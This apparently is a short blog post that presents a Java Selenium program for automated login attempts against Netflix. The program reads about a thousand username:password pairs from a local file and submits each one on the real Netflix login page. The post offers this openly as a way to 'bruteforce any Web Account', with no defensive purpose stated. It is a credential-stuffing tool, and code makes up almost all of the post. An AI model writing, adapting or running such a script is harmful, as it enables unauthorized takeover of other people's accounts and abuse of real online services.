Using Selenium to bruteforce any Web Account

When it comes to automation ,
selenium can be used for automating the login .E.g take the case of Netflix
Here I have used it to read the username and password from a file and then use it for logging in to Netflix.



package selenium;

import java.io.File;
import java.io.FileNotFoundException;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

import org.openqa.selenium.By;
import org.openqa.selenium.Keys;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.chrome.ChromeDriver;

public class NetflixLogin
{
    public static void main(String[] args)
        throws InterruptedException, FileNotFoundException
    {
        System.setProperty("webdriver.chrome.driver", "D:\\shashi\\selenium\\chromedriver.exe");
        WebDriver driver = new ChromeDriver();
        driver.get("https://www.netflix.com/in/login");
        List<String> list = new ArrayList<String>();
       
        ExecutorService executorService = Executors.newFixedThreadPool(100);
        executorService.submit(() -> {
            File file = new File("D:/shashi/selenium/netflix_accounts_1000.txt");
            Scanner scanner = null;
            try
            {
                scanner = new Scanner(file);
            }
            catch (FileNotFoundException e)
            {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
            while (scanner.hasNextLine())
            {
                String line = scanner.nextLine();
                String[] res = line.split(":");
                driver.findElement(By.id("id_userLoginId")).clear();
                driver.findElement(By.id("id_password")).clear();
                driver.findElement(By.id("id_userLoginId")).sendKeys(res[0], Keys.TAB);
                try
                {
                    Thread.sleep(2000);
                }
                catch (InterruptedException e)
                {
                 
                    e.printStackTrace();
                }
                driver.findElement(By.id("id_password")).sendKeys(res[1], Keys.ENTER);
                try
                {
                    Thread.sleep(2000);
                }
                catch (InterruptedException e)
                {
                  
                    e.printStackTrace();
                }
            }
        });
       
    }
   
}

Comments